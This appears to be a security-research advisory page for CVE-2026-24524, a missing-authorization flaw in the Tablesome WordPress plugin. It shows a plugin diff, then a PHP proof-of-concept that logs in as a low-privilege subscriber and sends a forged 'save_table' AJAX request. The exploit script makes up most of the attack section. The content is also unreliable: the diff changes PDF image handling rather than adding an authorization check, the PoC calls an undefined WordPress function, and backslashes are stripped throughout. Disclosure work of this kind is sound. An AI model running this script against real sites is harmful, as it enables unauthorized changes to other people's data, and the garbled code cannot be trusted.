     'Tablesome\Workflow_Library\Actions\Tablesome_Generate_Pdf' => $baseDir . '/workflow-library/actions/tablesome-generate-pdf.php',
     'Tablesome\Workflow_Library\Actions\Tablesome_Load_WP_Query_Content' => $baseDir . '/workflow-library/actions/tablesome-load-wp-query-content.php',
+    'Tablesome\Workflow_Library\Actions\Tablesome_PDF_HTML' => $baseDir . '/workflow-library/actions/tablesome-pdf-html.php',
     'Tablesome\Workflow_Library\Actions\WP_Post_Creation' => $baseDir . '/workflow-library/actions/wp-post-creation.php',
     'Tablesome\Workflow_Library\Actions\WP_Redirection' => $baseDir . '/workflow-library/actions/wp-redirection.php',
     'Tablesome\Workflow_Library\Actions\WP_Send_Mail' => $baseDir . '/workflow-library/actions/wp-send-mail.php',
--- a/tablesome/vendor/composer/autoload_static.php
+++ b/tablesome/vendor/composer/autoload_static.php
@@ -181,6 +181,7 @@
         'Tablesome\Workflow_Library\Actions\Tablesome_Filter_Table' => __DIR__ . '/../..' . '/workflow-library/actions/tablesome-filter-table.php',
         'Tablesome\Workflow_Library\Actions\Tablesome_Generate_Pdf' => __DIR__ . '/../..' . '/workflow-library/actions/tablesome-generate-pdf.php',
         'Tablesome\Workflow_Library\Actions\Tablesome_Load_WP_Query_Content' => __DIR__ . '/../..' . '/workflow-library/actions/tablesome-load-wp-query-content.php',
+        'Tablesome\Workflow_Library\Actions\Tablesome_PDF_HTML' => __DIR__ . '/../..' . '/workflow-library/actions/tablesome-pdf-html.php',
         'Tablesome\Workflow_Library\Actions\WP_Post_Creation' => __DIR__ . '/../..' . '/workflow-library/actions/wp-post-creation.php',
         'Tablesome\Workflow_Library\Actions\WP_Redirection' => __DIR__ . '/../..' . '/workflow-library/actions/wp-redirection.php',
         'Tablesome\Workflow_Library\Actions\WP_Send_Mail' => __DIR__ . '/../..' . '/workflow-library/actions/wp-send-mail.php',
--- a/tablesome/vendor/composer/installed.php
+++ b/tablesome/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'pauple/tablesome',
         'pretty_version' => 'dev-develop',
         'version' => 'dev-develop',
-        'reference' => '10c5099e3934381946b136e1b9a4081621d77102',
+        'reference' => 'f2a0c2ac1945d58d6553193cc39b1e1623431bad',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -31,7 +31,7 @@
         'pauple/tablesome' => array(
             'pretty_version' => 'dev-develop',
             'version' => 'dev-develop',
-            'reference' => '10c5099e3934381946b136e1b9a4081621d77102',
+            'reference' => 'f2a0c2ac1945d58d6553193cc39b1e1623431bad',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/tablesome/workflow-library/actions/tablesome-generate-pdf.php
+++ b/tablesome/workflow-library/actions/tablesome-generate-pdf.php
@@ -69,7 +69,7 @@
                 $field_name = $key;
                 $fields_to_use[$field_name] = [];
                 // Apply regular placeholders first
-                $content = $this->applyPlaceholders( $this->placeholders, $field['content'] );
+                $content = $this->applyPlaceholders( $this->placeholders, ( isset( $field['content'] ) ? $field['content'] : '' ) );
                 // Then apply signature placeholders (converts URLs to img tags)
                 $content = $this->applyPlaceholders( $signature_placeholders, $content );
                 $fields_to_use[$field_name]['value'] = $content;
@@ -104,27 +104,55 @@
                     if ( !empty( $file_url ) ) {
                         // Create the placeholder name
                         $placeholder_name = $this->getPlaceholderName( $field_name );
-                        // Convert URL to img tag with compact dimensions suitable for signatures
-                        // Using width=120 height=50 for a more compact signature
+                        // Width-only constraint preserves aspect ratio
+                        // 300px at 96 DPI = ~79mm, reasonable for signature on A4
+                        // Get width from action meta or use default
+                        $signature_width = ( isset( $this->action_meta['signature_width'] ) ? absint( $this->action_meta['signature_width'] ) : 300 );
+                        // Apply filter for developer customization
+                        $signature_width = apply_filters( 'tablesome_pdf_signature_width', $signature_width );
                         // Adding <br> tags to ensure it appears on its own line, left-aligned
-                        $img_tag = sprintf( '<br><img src="%s" width="120" height="50"><br>', esc_url( $file_url ) );
+                        // datasig attribute marks this as a signature so the PDF renderer
+                        // uses this explicit width instead of the global image width setting.
+                        $img_tag = sprintf( '<br><img src="%s" width="%d" datasig="1"><br>', esc_url( $file_url ), $signature_width );
                         // Store the replacement - the placeholder with the URL will be replaced with img tag
                         $placeholders[$file_url] = $img_tag;
-                        error_log( "PDF Signature: Converting {$field_name} URL to img tag (120x50 with line breaks)" );
                     }
                 }
             }
             return $placeholders;
         }

+        /**
+         * Strip width/height attributes from non-signature <img> tags.
+         * Signature images (marked with datasig attribute) keep their
+         * explicit width so the PDF renderer respects signature_width.
+         */
+        protected function strip_image_dimensions( $html ) {
+            return preg_replace_callback( '/<img\b([^>]*)>/i', function ( $m ) {
+                $attrs = $m[1];
+                // Keep dimensions on signature images
+                if ( stripos( $attrs, 'datasig' ) !== false ) {
+                    return $m[0];
+                }
+                $attrs = preg_replace( '/\s*width=["'][^"']*["']/i', '', $attrs );
+                $attrs = preg_replace( '/\s*height=["'][^"']*["']/i', '', $attrs );
+                return '<img' . $attrs . '>';
+            }, $html );
+        }
+
         public function create_pdf( $fields ) {
-            require_once TABLESOME_PATH . 'includes/lib/fpdf/pdf-html.php';
-            $pdf = new PDF_HTML(
+            require_once __DIR__ . '/tablesome-pdf-html.php';
+            $pdf = new Tablesome_PDF_HTML(
                 'P',
                 'mm',
                 'A4',
                 $fields
             );
+            // Set configurable image width (default 300px)
+            $image_width = ( isset( $this->action_meta['image_width'] ) ? absint( $this->action_meta['image_width'] ) : 300 );
+            $image_width = apply_filters( 'tablesome_pdf_image_width', $image_width );
+            $pdf->setImageWidth( $image_width );
+            $pdf->setUploadDir( wp_upload_dir() );
             $pdf->AddPage();
             $title = $fields['title']['value'];
             $pdf->SetFont( 'Arial', 'B', 24 );
@@ -141,13 +169,13 @@
             $pdf->SetFont( 'Arial', '', 10 );
             // Fix space issue
             $body = " " . $body;
+            // Strip width/height from non-signature images so the PDF renderer
+            // uses the configured image_width setting instead of WordPress's
+            // thumbnail dimensions (e.g. width="150").
+            $body = $this->strip_image_dimensions( $body );
             $pdf->WriteHTML( $body );
             /* Footer */
             // $this->footer($pdf);
-            /* Output */
-            $pdf_output = $pdf->Output( 'S' );
-            // error_log('$pdf_output: ' . $pdf_output);
-            // $pdf->Output('F', TABLESOME_PATH . '/report.pdf');
             $file_info = $this->save_file( $pdf );
             return $file_info;
         }
@@ -160,6 +188,7 @@
             $file_path = $base_path . $file_name;
             $this->wp_media_file_handler->maybe_create_dir( $base_path );
             $pdf->Output( 'F', $file_path );
+            $pdf->freeMemory();
             $url = $upload_dir['baseurl'] . '/' . $this->tmp_direrctory_name . '/' . $file_name;
             // Upload file to media library
             $attachment_id = $this->wp_media_file_handler->upload_file_from_url( $url, [
--- a/tablesome/workflow-library/actions/tablesome-pdf-html.php
+++ b/tablesome/workflow-library/actions/tablesome-pdf-html.php
@@ -0,0 +1,132 @@
+<?php
+
+namespace TablesomeWorkflow_LibraryActions;
+
+if (!defined('ABSPATH')) {
+    exit;
+}
+
+require_once TABLESOME_PATH . 'includes/lib/fpdf/pdf-html.php';
+
+/**
+ * Extends the third-party PDF_HTML class with WordPress-specific
+ * image handling: local file resolution, quality upgrade, configurable
+ * width, aspect-ratio preservation, and proper page flow.
+ */
+class Tablesome_PDF_HTML extends PDF_HTML
+{
+    protected $imageWidth = 300;
+    protected $uploadBaseUrl = '';
+    protected $uploadBaseUrlHttps = '';
+    protected $uploadBaseDir = '';
+
+    public function setImageWidth($px)
+    {
+        $this->imageWidth = max(50, min(700, intval($px)));
+    }
+
+    public function setUploadDir($upload_dir)
+    {
+        $this->uploadBaseUrl = set_url_scheme($upload_dir['baseurl'], 'http');
+        $this->uploadBaseUrlHttps = set_url_scheme($upload_dir['baseurl'], 'https');
+        $this->uploadBaseDir = $upload_dir['basedir'];
+    }
+
+    public function OpenTag($tag, $attr)
+    {
+        if ($tag !== 'IMG') {
+            parent::OpenTag($tag, $attr);
+            return;
+        }
+
+        if (!isset($attr['SRC'])) {
+            return;
+        }
+
+        $hasWidth = isset($attr['WIDTH']) && $attr['WIDTH'] > 0;
+        $maxWidth = $this->GetPageWidth() - $this->lMargin - $this->rMargin;
+
+        $src = $this->resolveImageSrc($attr['SRC']);
+        $imageSize = @getimagesize($src);
+
+        // Determine target width in px:
+        // - If width attribute set (e.g. signatures): use it
+        // - Otherwise: use the configured default
+        $targetPx = $hasWidth ? intval($attr['WIDTH']) : $this->imageWidth;
+
+        // 96 DPI conversion (px to mm)
+        $width = $targetPx * 25.4 / 96;
+
+        // Constrain to printable page width
+        if ($width > $maxWidth) {
+            $width = $maxWidth;
+        }
+
+        // Calculate height from native aspect ratio
+        if ($imageSize !== false && $imageSize[0] > 0 && $imageSize[1] > 0) {
+            $nativeRatio = $imageSize[0] / $imageSize[1];
+            $height = $width / $nativeRatio;
+        } else {
+            // Cannot read dimensions: let FPDF auto-calculate height
+            $height = 0;
+        }
+
+        // Place image on its own line at left margin
+        $this->Ln(5);
+
+        // Use y=null to enable FPDF's flowing mode (automatic page breaks)
+        $this->Image($src, $this->lMargin, null, $width, $height);
+
+        // Advance past the image
+        $this->Ln(5);
+        $this->SetX($this->lMargin);
+    }
+
+    public function freeMemory()
+    {
+        $this->buffer = '';
+        $this->pages = [];
+        $this->images = [];
+        $this->PageInfo = [];
+    }
+
+    protected function resolveImageSrc($url)
+    {
+        if (empty($this->uploadBaseDir)) {
+            return $url;
+        }
+        $local = str_replace(
+            [$this->uploadBaseUrlHttps, $this->uploadBaseUrl],
+            $this->uploadBaseDir,
+            $url
+        );
+        if ($local === $url || !file_exists($local)) {
+            return $url;
+        }
+        return $this->upgradeToBestQuality($local);
+    }
+
+    protected function upgradeToBestQuality($path)
+    {
+        // Max file size to keep memory safe (5 MB)
+        $maxSize = 5 * 1024 * 1024;
+
+        if (!preg_match('/-d+xd+(.w+)$/', $path)) {
+            return $path;
+        }
+
+        $original = preg_replace('/-d+xd+(.w+)$/', '$1', $path);
+        $ext = pathinfo($original, PATHINFO_EXTENSION);
+        $scaled = preg_replace('/.' . preg_quote($ext, '/') . '$/', '-scaled.' . $ext, $original);
+
+        if (file_exists($scaled) && filesize($scaled) <= $maxSize) {
+            return $scaled;
+        }
+
+        if (file_exists($original) && filesize($original) <= $maxSize) {
+            return $original;
+        }
+
+        return $path;
+    }
+}
--- a/tablesome/workflow-library/triggers/cf7.php
+++ b/tablesome/workflow-library/triggers/cf7.php
@@ -17,6 +17,7 @@
          */
         public $unsupported_formats = array(
             'submit',
+            'group',
         );

         public $trigger_source_id = 0;

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24524 - Tablesome <= 1.2.2 - Missing Authorization

<?php

$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'subscriber';
$password = 'password';

// Step 1: Authenticate to WordPress and obtain cookies and nonce
function authenticate_wordpress($url, $username, $password) {
    $login_url = str_replace('admin-ajax.php', 'wp-login.php', $url);
    
    // Get login page to retrieve login nonce
    $ch = curl_init($login_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
    curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
    $response = curl_exec($ch);
    
    // Extract log nonce from login form
    preg_match('/name="log"[^>]*value="([^"]*)"/', $response, $log_match);
    preg_match('/name="wp-submit"[^>]*value="([^"]*)"/', $response, $submit_match);
    
    // Prepare login POST data
    $post_data = array(
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => $submit_match[1] ?? 'Log In',
        'redirect_to' => admin_url(),
        'testcookie' => '1'
    );
    
    curl_setopt($ch, CURLOPT_URL, $login_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    $response = curl_exec($ch);
    curl_close($ch);
    
    // Verify authentication by checking for dashboard elements
    if (strpos($response, 'wp-admin') === false) {
        die('Authentication failed');
    }
    
    return true;
}

// Step 2: Exploit missing authorization in save_table AJAX handler
function exploit_missing_auth($url) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
    curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
    curl_setopt($ch, CURLOPT_POST, true);
    
    // Craft malicious table save request
    $post_data = array(
        'action' => 'save_table',
        'table' => json_encode(array(
            'id' => 1,
            'config' => array(
                'columns' => array(
                    array('name' => 'Malicious Column', 'type' => 'text')
                )
            )
        )),
        '_wpnonce' => 'dummy_nonce' // Nonce validation occurs but authorization check is missing
    );
    
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return array('code' => $http_code, 'response' => $response);
}

// Execute exploit chain
if (authenticate_wordpress($target_url, $username, $password)) {
    $result = exploit_missing_auth($target_url);
    
    echo "HTTP Status: " . $result['code'] . "n";
    echo "Response: " . $result['response'] . "n";
    
    // Check if exploit was successful
    if ($result['code'] == 200 && strpos($result['response'], 'success') !== false) {
        echo "[+] Vulnerability exploited successfully - unauthorized table save performedn";
    } else if ($result['code'] == 403 && strpos($result['response'], 'Unauthorized access') !== false) {
        echo "[-] Target appears patched - authorization check in placen";
    } else {
        echo "[?] Unexpected response - manual investigation requiredn";
    }
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School